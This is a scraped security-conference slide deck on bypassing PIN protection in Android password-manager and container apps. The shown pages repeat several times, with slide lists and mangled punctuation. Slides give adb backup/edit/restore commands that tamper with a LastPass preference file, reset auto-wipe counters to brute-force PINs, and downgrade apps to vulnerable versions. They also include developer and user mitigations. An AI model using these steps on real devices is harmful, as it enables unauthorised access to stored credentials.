  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 137: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 138: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 139: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
